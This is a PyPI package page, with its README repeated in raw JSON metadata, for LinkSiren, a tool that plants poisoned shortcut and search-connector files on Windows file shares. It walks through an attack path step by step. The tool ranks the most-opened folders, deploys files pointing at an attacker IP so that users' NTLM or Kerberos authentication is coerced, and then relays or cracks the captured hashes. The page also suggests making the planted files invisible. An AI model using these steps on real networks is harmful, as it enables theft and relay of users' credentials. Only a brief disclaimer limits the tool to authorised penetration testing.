linksiren


Namelinksiren JSON
Version 0.0.3 PyPI version JSON
download
home_pageNone
SummaryGeneration, targeted deployment, and scalable cleanup for files that coerce Windows authentication.
upload_time2024-10-29 16:52:03
maintainerNone
docs_urlNone
authorGeorge Hamilton
requires_python>=3.9
licenseBSD 3-Clause License Copyright (c) 2023, gjhami Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
keywords coerce pentest windows authentication coercion
VCS
bugtrack_url
requirements impacket
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # Description
_The Siren waits thee, singing song for song._ - Walter Savage Landor

LinkSiren distributes .library-ms, .searchConnector-ms, .url, and .lnk files to accessible file shares to coerce NetNTLM and Kerberos authentication over SMB and HTTP from hosts that open them. It's like [Farmer](https://github.com/mdsecactivebreach/Farmer/tree/1f37598125a92c9edf41295c6c1b7c258143968d), [Lnkbomb](https://github.com/dievus/lnkbomb), or [Slinky](https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-slinky) but it identifies the best place to put the files for coercion and has scalable deployment and cleanup built in.

# Installation
Using pipx (Recommended)
```
# Install pipx if necessary
python3 -m pip install pipx
pipx ensurepath

# Install linksiren
pipx install linksiren
```

<details>
<summary>Alternatively, install from source</summary>

```
# Download source code
git clone https://github.com/gjhami/LinkSiren.git
cd LinkSiren

# Optional: Set up a virtual environment and install requirements
python -m venv .venv
source ./.venv/bin/activate # Linux
# .\.venv\Scripts\activate # Windows

# Install requirements
python -m pip install -r requirements.txt
```

</details>

# How do I use this NOW?
```bash
# Install using pipx
pipx install linksiren

# Identify optimal locations for poisoned file deployment
linksiren identify --targets <shares file> [domain]/username[:password]

# Deploy to identified locations
linksiren deploy --targets folder_targets.txt --attacker <attacker IP> [domain]/username[:password]

# Capture hashes / relay authentication

# Cleanup poisoned files
linksiren cleanup --targets payloads_written.txt [domain]/username[:password]
```

# How do I use this the \~right\~ way?
```bash
# Install using pipx
pipx install linksiren

# 1. Create a targets file containing accessible shares, one per line, in the following format: \\server.domain.tld\share
#    I recommend crackmapexec or shareenum, make sure you can delete files you deploy

# 2. Use LinkSiren to identify the most active folders on them
#    Note: You may fine tune the --max-depth, --active-threshold, --fast, and --max-folders-per-share params as necessary
#    Note: Specify '.' as the domain to log in using a local user account
linksiren identify --targets <shares file> [domain]/username[:password]

# 3. Use LinkSiren to deploy payloads to all of the active folders
#    --identify saves UNC paths to active folders in folder_targets.txt
linksiren deploy --targets folder_targets.txt --attacker <attacker IP> [domain]/username[:password]

# 4. Let the hashes come to you and relay them as you see fit :)
#    Use CrackMapExec and LdapRelayScan for relay target identification
#    Use LdapRelayScan to determine if you can relay HTTP auth to LDAP
#    Use Impacket's ntlmrelayx for relay with pcredz for hash capture on the attacker machine
#    You could also use KrbJack to relay kerberos auth to a machine whose DNS record you've hijacked

# 5. Cleanup the payload files when you're finished gathering.
#    Set targets to a file containing UNC paths of all folders where payloads were written
#    --deploy saves UNC paths to deployed payloads in payload_folders.txt
#    Note: If you set a custom payload name (--payload) when deploying, you must set the same name here
linksiren cleanup --targets payloads_written.txt [domain]/username[:password]
```

# What is the Attack Path?
1. (Optional) Get Intranet-Zoned if you want to coerce HTTP authentication. See the note in [theHackerRecipes WebClient Abuse](https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/webclient#abuse).
2. Create a list of UNC paths to writeable SMB shares.
    - Note: Make sure you can delete files in them for cleanup.
3. [Optional] Run LinkSiren in `generate` mode to write templates locally
4. [Optional] Run LinkSiren in `rank` mode to output rankings for accessible folders based on recent access.
5. Run LinkSiren in `identify` mode to find the best places to put poisoned files.
6. Start a listener or relay on your attacker machine to capture and/or relay coerced authentication to services without Signing/Channel Binding like LDAP, MSSQL, SMB, AD CS (HTTP), and others.
7. Run LinkSiren in `deploy` mode to place payloads in the optimal locations identified.
8. Let the hashes roll in. Relay and/or crack as desired.
9. Run LinkSiren in `cleanup` mode to delete all the poisoned files.

# Modes
LinkSiren offers the following modes of operation:

## Generate
Create poisoned files to use for coercion and store them locally.

<details>
<summary>Usage</summary>

```
linksiren generate --help
usage: linksiren generate [-h] -a ATTACKER [-n PAYLOAD]

options:
  -h, --help            show this help message and exit
  -n PAYLOAD, --payload PAYLOAD
                        (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms, .searchConnector-ms, .lnk, or .url

Required Arguments:
  -a ATTACKER, --attacker ATTACKER
                        Attacker IP or hostname to place in malicious URL
```
</details>

## Rank
Given a list of accessible shares, output ranks for the folders within them based on the liklihood placing a file in the folder will coerce authentication from a user.

<details>
<summary>Usage</summary>

```
linksiren rank --help
usage: linksiren rank [-h] -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f] credentials

options:
  -h, --help            show this help message and exit
  -md MAX_DEPTH, --max-depth MAX_DEPTH
                        (Default: 3) The maximum depth of folders to search within the target.
  -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD
                        (Default: 2) Number of days as an integer for active files.
  -f, --fast            (Default: False) Mark folders active as soon as one active file in them is identified and move on. Ranks are all set to 1 assigned.

Required Arguments:
  credentials           [domain/]username[:password] for authentication
  -t TARGETS, --targets TARGETS
                        Path to a text file containing UNC paths to file shares / base directories within which to rank folders as potential locations for
                        placing poisoned files.
```
</details>

## Identify
Given a list of accessible shares and customizable constraints, including a maximum number of target folders per share, output UNC paths to the optimal folders for placing poisoned files.

<details>
<summary>Usage</summary>

```
linksiren identify --help
usage: linksiren identify [-h] -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f] [-mf MAX_FOLDERS_PER_TARGET] credentials

options:
  -h, --help            show this help message and exit
  -md MAX_DEPTH, --max-depth MAX_DEPTH
                        (Default: 3) The maximum depth of folders to search within the target
  -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD
                        (Default: 2) Max number of days since within which a file is considered active.
  -f, --fast            (Default: False) Mark folders active as soon as one active file in them is identified and move on. Ranks are all set to 1.
  -mf MAX_FOLDERS_PER_TARGET, --max-folders-per-target MAX_FOLDERS_PER_TARGET
                        (Default: 10) Maximum number of folders to output as deployment targets per supplied target share or folder.

Required Arguments:
  credentials           [domain/]username[:password] for authentication
  -t TARGETS, --targets TARGETS
                        Path to a text file containing UNC paths to file shares / base directories for deployment or from which to remove payload files
```

</details>

## Deploy
Generate poisoned files for coercion and deploy them to specified UNC paths. Typically the specified UNC paths are the output of `identify` mode. Output a list of UNC paths to folders where payloads were successfully deployed for cleanup.

<details>
<summary>Usage</summary>

```
linksiren deploy --help
usage: linksiren deploy [-h] -t TARGETS -a ATTACKER [-n PAYLOAD] credentials

options:
  -h, --help            show this help message and exit
  -n PAYLOAD, --payload PAYLOAD
                        (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms, .searchConnector-ms, .lnk, or .url

Required Arguments:
  credentials           [domain/]username[:password] for authentication
  -t TARGETS, --targets TARGETS
                        Path to a text file containing UNC paths to folders into which poisoned files will be deployed.
  -a ATTACKER, --attacker ATTACKER
                        Attacker IP or hostname to place in poisoned files.
```
</details>

## Cleanup
Remove all payloads from the specified UNC paths, typically the output of `deploy` mode.

<details>
<summary>Usage</summary>

```
linksiren cleanup --help
usage: linksiren cleanup [-h] -t TARGETS [-n PAYLOAD] credentials

options:
  -h, --help            show this help message and exit
  -n PAYLOAD, --payload PAYLOAD
                        (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms, .searchConnector-ms, .lnk, or .url

Required Arguments:
  credentials           [domain/]username[:password] for authentication
  -t TARGETS, --targets TARGETS
                        Path to a text file containing UNC paths to folders in which poisoned files are located.
```

</details>

## What Payload Type Should I Use?
Search Connectors (.searchConnector-ms): This is generally the best option. They require the least amount of interaction, start the WebClient service from a stopped state automatically when the parent folder is opened in Explorer, and are capable of coercing both SMB and HTTP authentication using a single file.

## How is this better than the other tools?
Summary
- Scales to an arbitrary number of malicious .searchConnector-ms, .library-ms, .url, or .lnk files
- Targeted malicious file placement
- Single command deployment and cleanup
- Cross platform with python

As in real estate, the three most important things when attempting to coerce auth using files: location, location, location. All techniques identified here only coerce authentication from users that open the folder containing the poisoned file.

Other tools are built to place a single malicious .searchConnector-ms, .library-ms, or .url file at a specified location and clean up that one malicious file. If you find yourself with access to a lot of shares you may want things to scale and you may not be in the mood to write a wrapper. Additionally, you may not know the best place to put a poisoned file in a sea of accessible shares.

LinkSiren crawls shares you currently have access to and ranks every subfolder based on the liklihood it will be opened by a user sometime soon. Then it uses this information to target malicious file distribution to multiple locations at once. Additionally, LinkSiren records the full UNC path of malicious file it creates, allowing for cleanup with a single command.

## How will you make it even better?
I'm looking to add the following features:
- [ ] Multithreading/Multiprocessing for faster share crawling
- [ ] Add a progress bar for share crawling
- [ ] Add a safe mode that checks if a file can be deleted from a target share before deploying it.
- [ ] Add an option for 'invisible' targets for .Library-ms and .searchConnector-ms files where the icon is set to blank and the name is set to a non-printing, valid ASCII character.
- [ ] Test for anonymous access to shares
- [ ] Add an instructions sections that details how to get intranet zoned (Blog Post In Progress)
- [ ] Add an explanation of how this can be used with ntlmrelayx (Blog Post In Progress)
- [ ] Enable authentication using a NTLM hash
- [ ] Enable ticket based authnentication (Kerberos)
- [ ] Use a logging package (loguru) to vary output verbosity and log additional actions.
    - [ ] Log all crawl, deployment, and cleanup actions as well as success / failure indicators with timestamps for posterity.
    - [ ] Maintain a file that has payloads that still exist because errors (other than STATUS_OBJECT_NAME_NOT_FOUND) prevented payload deletion.
- [ ] Add pydantic validation for arguments including targets and output file names.
- [ ] Add compatibility with proxied SMB relay connections created using impacket's ntlmrelayx.
    - The attack would need to be added to [smbattack.py](https://github.com/fortra/impacket/blob/4a62f391cf2c5e60577e0138b01df4fec735d5ed/impacket/examples/ntlmrelayx/attacks/smbattack.py#L57) and would need to accept only an authenticated SMB connection.

## Note
This tools is designed for ethical hacking and penetration testing. It should be used exclusively on networks where explicit, written permission has been granted for testing. I accept no responsibility for the safety or effectiveness of this tool. Please don't sue me.

            

Raw data

            {
    "_id": null,
    "home_page": null,
    "name": "linksiren",
    "maintainer": null,
    "docs_url": null,
    "requires_python": ">=3.9",
    "maintainer_email": null,
    "keywords": "coerce, pentest, windows, authentication, coercion",
    "author": "George Hamilton",
    "author_email": null,
    "download_url": "https://files.pythonhosted.org/packages/01/33/27f0290a5537fc56291f61a57b396531428b08f9399217c44f111348ab30/linksiren-0.0.3.tar.gz",
    "platform": null,
    "description": "# Description\r\n_The Siren waits thee, singing song for song._ - Walter Savage Landor\r\n\r\nLinkSiren distributes .library-ms, .searchConnector-ms, .url, and .lnk files to accessible file shares to coerce NetNTLM and Kerberos authentication over SMB and HTTP from hosts that open them. It's like [Farmer](https://github.com/mdsecactivebreach/Farmer/tree/1f37598125a92c9edf41295c6c1b7c258143968d), [Lnkbomb](https://github.com/dievus/lnkbomb), or [Slinky](https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-slinky) but it identifies the best place to put the files for coercion and has scalable deployment and cleanup built in.\r\n\r\n# Installation\r\nUsing pipx (Recommended)\r\n```\r\n# Install pipx if necessary\r\npython3 -m pip install pipx\r\npipx ensurepath\r\n\r\n# Install linksiren\r\npipx install linksiren\r\n```\r\n\r\n<details>\r\n<summary>Alternatively, install from source</summary>\r\n\r\n```\r\n# Download source code\r\ngit clone https://github.com/gjhami/LinkSiren.git\r\ncd LinkSiren\r\n\r\n# Optional: Set up a virtual environment and install requirements\r\npython -m venv .venv\r\nsource ./.venv/bin/activate # Linux\r\n# .\\.venv\\Scripts\\activate # Windows\r\n\r\n# Install requirements\r\npython -m pip install -r requirements.txt\r\n```\r\n\r\n</details>\r\n\r\n# How do I use this NOW?\r\n```bash\r\n# Install using pipx\r\npipx install linksiren\r\n\r\n# Identify optimal locations for poisoned file deployment\r\nlinksiren identify --targets <shares file> [domain]/username[:password]\r\n\r\n# Deploy to identified locations\r\nlinksiren deploy --targets folder_targets.txt --attacker <attacker IP> [domain]/username[:password]\r\n\r\n# Capture hashes / relay authentication\r\n\r\n# Cleanup poisoned files\r\nlinksiren cleanup --targets payloads_written.txt [domain]/username[:password]\r\n```\r\n\r\n# How do I use this the \\~right\\~ way?\r\n```bash\r\n# Install using pipx\r\npipx install linksiren\r\n\r\n# 1. Create a targets file containing accessible shares, one per line, in the following format: \\\\server.domain.tld\\share\r\n#    I recommend crackmapexec or shareenum, make sure you can delete files you deploy\r\n\r\n# 2. Use LinkSiren to identify the most active folders on them\r\n#    Note: You may fine tune the --max-depth, --active-threshold, --fast, and --max-folders-per-share params as necessary\r\n#    Note: Specify '.' as the domain to log in using a local user account\r\nlinksiren identify --targets <shares file> [domain]/username[:password]\r\n\r\n# 3. Use LinkSiren to deploy payloads to all of the active folders\r\n#    --identify saves UNC paths to active folders in folder_targets.txt\r\nlinksiren deploy --targets folder_targets.txt --attacker <attacker IP> [domain]/username[:password]\r\n\r\n# 4. Let the hashes come to you and relay them as you see fit :)\r\n#    Use CrackMapExec and LdapRelayScan for relay target identification\r\n#    Use LdapRelayScan to determine if you can relay HTTP auth to LDAP\r\n#    Use Impacket's ntlmrelayx for relay with pcredz for hash capture on the attacker machine\r\n#    You could also use KrbJack to relay kerberos auth to a machine whose DNS record you've hijacked\r\n\r\n# 5. Cleanup the payload files when you're finished gathering.\r\n#    Set targets to a file containing UNC paths of all folders where payloads were written\r\n#    --deploy saves UNC paths to deployed payloads in payload_folders.txt\r\n#    Note: If you set a custom payload name (--payload) when deploying, you must set the same name here\r\nlinksiren cleanup --targets payloads_written.txt [domain]/username[:password]\r\n```\r\n\r\n# What is the Attack Path?\r\n1. (Optional) Get Intranet-Zoned if you want to coerce HTTP authentication. See the note in [theHackerRecipes WebClient Abuse](https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/webclient#abuse).\r\n2. Create a list of UNC paths to writeable SMB shares.\r\n    - Note: Make sure you can delete files in them for cleanup.\r\n3. [Optional] Run LinkSiren in `generate` mode to write templates locally\r\n4. [Optional] Run LinkSiren in `rank` mode to output rankings for accessible folders based on recent access.\r\n5. Run LinkSiren in `identify` mode to find the best places to put poisoned files.\r\n6. Start a listener or relay on your attacker machine to capture and/or relay coerced authentication to services without Signing/Channel Binding like LDAP, MSSQL, SMB, AD CS (HTTP), and others.\r\n7. Run LinkSiren in `deploy` mode to place payloads in the optimal locations identified.\r\n8. Let the hashes roll in. Relay and/or crack as desired.\r\n9. Run LinkSiren in `cleanup` mode to delete all the poisoned files.\r\n\r\n# Modes\r\nLinkSiren offers the following modes of operation:\r\n\r\n## Generate\r\nCreate poisoned files to use for coercion and store them locally.\r\n\r\n<details>\r\n<summary>Usage</summary>\r\n\r\n```\r\nlinksiren generate --help\r\nusage: linksiren generate [-h] -a ATTACKER [-n PAYLOAD]\r\n\r\noptions:\r\n  -h, --help            show this help message and exit\r\n  -n PAYLOAD, --payload PAYLOAD\r\n                        (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms, .searchConnector-ms, .lnk, or .url\r\n\r\nRequired Arguments:\r\n  -a ATTACKER, --attacker ATTACKER\r\n                        Attacker IP or hostname to place in malicious URL\r\n```\r\n</details>\r\n\r\n## Rank\r\nGiven a list of accessible shares, output ranks for the folders within them based on the liklihood placing a file in the folder will coerce authentication from a user.\r\n\r\n<details>\r\n<summary>Usage</summary>\r\n\r\n```\r\nlinksiren rank --help\r\nusage: linksiren rank [-h] -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f] credentials\r\n\r\noptions:\r\n  -h, --help            show this help message and exit\r\n  -md MAX_DEPTH, --max-depth MAX_DEPTH\r\n                        (Default: 3) The maximum depth of folders to search within the target.\r\n  -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD\r\n                        (Default: 2) Number of days as an integer for active files.\r\n  -f, --fast            (Default: False) Mark folders active as soon as one active file in them is identified and move on. Ranks are all set to 1 assigned.\r\n\r\nRequired Arguments:\r\n  credentials           [domain/]username[:password] for authentication\r\n  -t TARGETS, --targets TARGETS\r\n                        Path to a text file containing UNC paths to file shares / base directories within which to rank folders as potential locations for\r\n                        placing poisoned files.\r\n```\r\n</details>\r\n\r\n## Identify\r\nGiven a list of accessible shares and customizable constraints, including a maximum number of target folders per share, output UNC paths to the optimal folders for placing poisoned files.\r\n\r\n<details>\r\n<summary>Usage</summary>\r\n\r\n```\r\nlinksiren identify --help\r\nusage: linksiren identify [-h] -t TARGETS [-md MAX_DEPTH] [-at ACTIVE_THRESHOLD] [-f] [-mf MAX_FOLDERS_PER_TARGET] credentials\r\n\r\noptions:\r\n  -h, --help            show this help message and exit\r\n  -md MAX_DEPTH, --max-depth MAX_DEPTH\r\n                        (Default: 3) The maximum depth of folders to search within the target\r\n  -at ACTIVE_THRESHOLD, --active-threshold ACTIVE_THRESHOLD\r\n                        (Default: 2) Max number of days since within which a file is considered active.\r\n  -f, --fast            (Default: False) Mark folders active as soon as one active file in them is identified and move on. Ranks are all set to 1.\r\n  -mf MAX_FOLDERS_PER_TARGET, --max-folders-per-target MAX_FOLDERS_PER_TARGET\r\n                        (Default: 10) Maximum number of folders to output as deployment targets per supplied target share or folder.\r\n\r\nRequired Arguments:\r\n  credentials           [domain/]username[:password] for authentication\r\n  -t TARGETS, --targets TARGETS\r\n                        Path to a text file containing UNC paths to file shares / base directories for deployment or from which to remove payload files\r\n```\r\n\r\n</details>\r\n\r\n## Deploy\r\nGenerate poisoned files for coercion and deploy them to specified UNC paths. Typically the specified UNC paths are the output of `identify` mode. Output a list of UNC paths to folders where payloads were successfully deployed for cleanup.\r\n\r\n<details>\r\n<summary>Usage</summary>\r\n\r\n```\r\nlinksiren deploy --help\r\nusage: linksiren deploy [-h] -t TARGETS -a ATTACKER [-n PAYLOAD] credentials\r\n\r\noptions:\r\n  -h, --help            show this help message and exit\r\n  -n PAYLOAD, --payload PAYLOAD\r\n                        (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms, .searchConnector-ms, .lnk, or .url\r\n\r\nRequired Arguments:\r\n  credentials           [domain/]username[:password] for authentication\r\n  -t TARGETS, --targets TARGETS\r\n                        Path to a text file containing UNC paths to folders into which poisoned files will be deployed.\r\n  -a ATTACKER, --attacker ATTACKER\r\n                        Attacker IP or hostname to place in poisoned files.\r\n```\r\n</details>\r\n\r\n## Cleanup\r\nRemove all payloads from the specified UNC paths, typically the output of `deploy` mode.\r\n\r\n<details>\r\n<summary>Usage</summary>\r\n\r\n```\r\nlinksiren cleanup --help\r\nusage: linksiren cleanup [-h] -t TARGETS [-n PAYLOAD] credentials\r\n\r\noptions:\r\n  -h, --help            show this help message and exit\r\n  -n PAYLOAD, --payload PAYLOAD\r\n                        (Default: @Test_Do_Not_Remove.searchConnector-ms) Name of payload file ending in .library-ms, .searchConnector-ms, .lnk, or .url\r\n\r\nRequired Arguments:\r\n  credentials           [domain/]username[:password] for authentication\r\n  -t TARGETS, --targets TARGETS\r\n                        Path to a text file containing UNC paths to folders in which poisoned files are located.\r\n```\r\n\r\n</details>\r\n\r\n## What Payload Type Should I Use?\r\nSearch Connectors (.searchConnector-ms): This is generally the best option. They require the least amount of interaction, start the WebClient service from a stopped state automatically when the parent folder is opened in Explorer, and are capable of coercing both SMB and HTTP authentication using a single file.\r\n\r\n## How is this better than the other tools?\r\nSummary\r\n- Scales to an arbitrary number of malicious .searchConnector-ms, .library-ms, .url, or .lnk files\r\n- Targeted malicious file placement\r\n- Single command deployment and cleanup\r\n- Cross platform with python\r\n\r\nAs in real estate, the three most important things when attempting to coerce auth using files: location, location, location. All techniques identified here only coerce authentication from users that open the folder containing the poisoned file.\r\n\r\nOther tools are built to place a single malicious .searchConnector-ms, .library-ms, or .url file at a specified location and clean up that one malicious file. If you find yourself with access to a lot of shares you may want things to scale and you may not be in the mood to write a wrapper. Additionally, you may not know the best place to put a poisoned file in a sea of accessible shares.\r\n\r\nLinkSiren crawls shares you currently have access to and ranks every subfolder based on the liklihood it will be opened by a user sometime soon. Then it uses this information to target malicious file distribution to multiple locations at once. Additionally, LinkSiren records the full UNC path of malicious file it creates, allowing for cleanup with a single command.\r\n\r\n## How will you make it even better?\r\nI'm looking to add the following features:\r\n- [ ] Multithreading/Multiprocessing for faster share crawling\r\n- [ ] Add a progress bar for share crawling\r\n- [ ] Add a safe mode that checks if a file can be deleted from a target share before deploying it.\r\n- [ ] Add an option for 'invisible' targets for .Library-ms and .searchConnector-ms files where the icon is set to blank and the name is set to a non-printing, valid ASCII character.\r\n- [ ] Test for anonymous access to shares\r\n- [ ] Add an instructions sections that details how to get intranet zoned (Blog Post In Progress)\r\n- [ ] Add an explanation of how this can be used with ntlmrelayx (Blog Post In Progress)\r\n- [ ] Enable authentication using a NTLM hash\r\n- [ ] Enable ticket based authnentication (Kerberos)\r\n- [ ] Use a logging package (loguru) to vary output verbosity and log additional actions.\r\n    - [ ] Log all crawl, deployment, and cleanup actions as well as success / failure indicators with timestamps for posterity.\r\n    - [ ] Maintain a file that has payloads that still exist because errors (other than STATUS_OBJECT_NAME_NOT_FOUND) prevented payload deletion.\r\n- [ ] Add pydantic validation for arguments including targets and output file names.\r\n- [ ] Add compatibility with proxied SMB relay connections created using impacket's ntlmrelayx.\r\n    - The attack would need to be added to [smbattack.py](https://github.com/fortra/impacket/blob/4a62f391cf2c5e60577e0138b01df4fec735d5ed/impacket/examples/ntlmrelayx/attacks/smbattack.py#L57) and would need to accept only an authenticated SMB connection.\r\n\r\n## Note\r\nThis tools is designed for ethical hacking and penetration testing. It should be used exclusively on networks where explicit, written permission has been granted for testing. I accept no responsibility for the safety or effectiveness of this tool. Please don't sue me.\r\n",
    "bugtrack_url": null,
    "license": "BSD 3-Clause License  Copyright (c) 2023, gjhami  Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:  1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.  2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.  3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ",
    "summary": "Generation, targeted deployment, and scalable cleanup for files that coerce Windows authentication.",
    "version": "0.0.3",
    "project_urls": {
        "Homepage": "https://github.com/gjhami/LinkSiren",
        "Issues": "https://github.com/gjhami/LinkSiren/issues"
    },
    "split_keywords": [
        "coerce",
        " pentest",
        " windows",
        " authentication",
        " coercion"
    ],
    "urls": [
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "8c32229a939deef7a21b96823c37bf397e6cc334e2d5d65b00e5c5e1cc9364f2",
                "md5": "ce7af39ee31dcef7fff92bb834985239",
                "sha256": "e076fcdd9fec7ef7a37f6cc085a055f9cb5bd71fd695277b4a8ec5bb3452fb2f"
            },
            "downloads": -1,
            "filename": "linksiren-0.0.3-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "ce7af39ee31dcef7fff92bb834985239",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": ">=3.9",
            "size": 25088,
            "upload_time": "2024-10-29T16:52:02",
            "upload_time_iso_8601": "2024-10-29T16:52:02.337631Z",
            "url": "https://files.pythonhosted.org/packages/8c/32/229a939deef7a21b96823c37bf397e6cc334e2d5d65b00e5c5e1cc9364f2/linksiren-0.0.3-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "013327f0290a5537fc56291f61a57b396531428b08f9399217c44f111348ab30",
                "md5": "c18e14af3b3611dc7b7ebfd23b6b35b5",
                "sha256": "f1a066b258d954b882072e0656b82c7c28302d3e0845bffad5fd381609abc964"
            },
            "downloads": -1,
            "filename": "linksiren-0.0.3.tar.gz",
            "has_sig": false,
            "md5_digest": "c18e14af3b3611dc7b7ebfd23b6b35b5",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=3.9",
            "size": 53379,
            "upload_time": "2024-10-29T16:52:03",
            "upload_time_iso_8601": "2024-10-29T16:52:03.285143Z",
            "url": "https://files.pythonhosted.org/packages/01/33/27f0290a5537fc56291f61a57b396531428b08f9399217c44f111348ab30/linksiren-0.0.3.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2024-10-29 16:52:03",
    "github": true,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "github_user": "gjhami",
    "github_project": "LinkSiren",
    "travis_ci": false,
    "coveralls": false,
    "github_actions": false,
    "requirements": [
        {
            "name": "impacket",
            "specs": [
                [
                    ">=",
                    "0.11.0"
                ]
            ]
        }
    ],
    "lcname": "linksiren"
}
        
Elapsed time: 0.42849s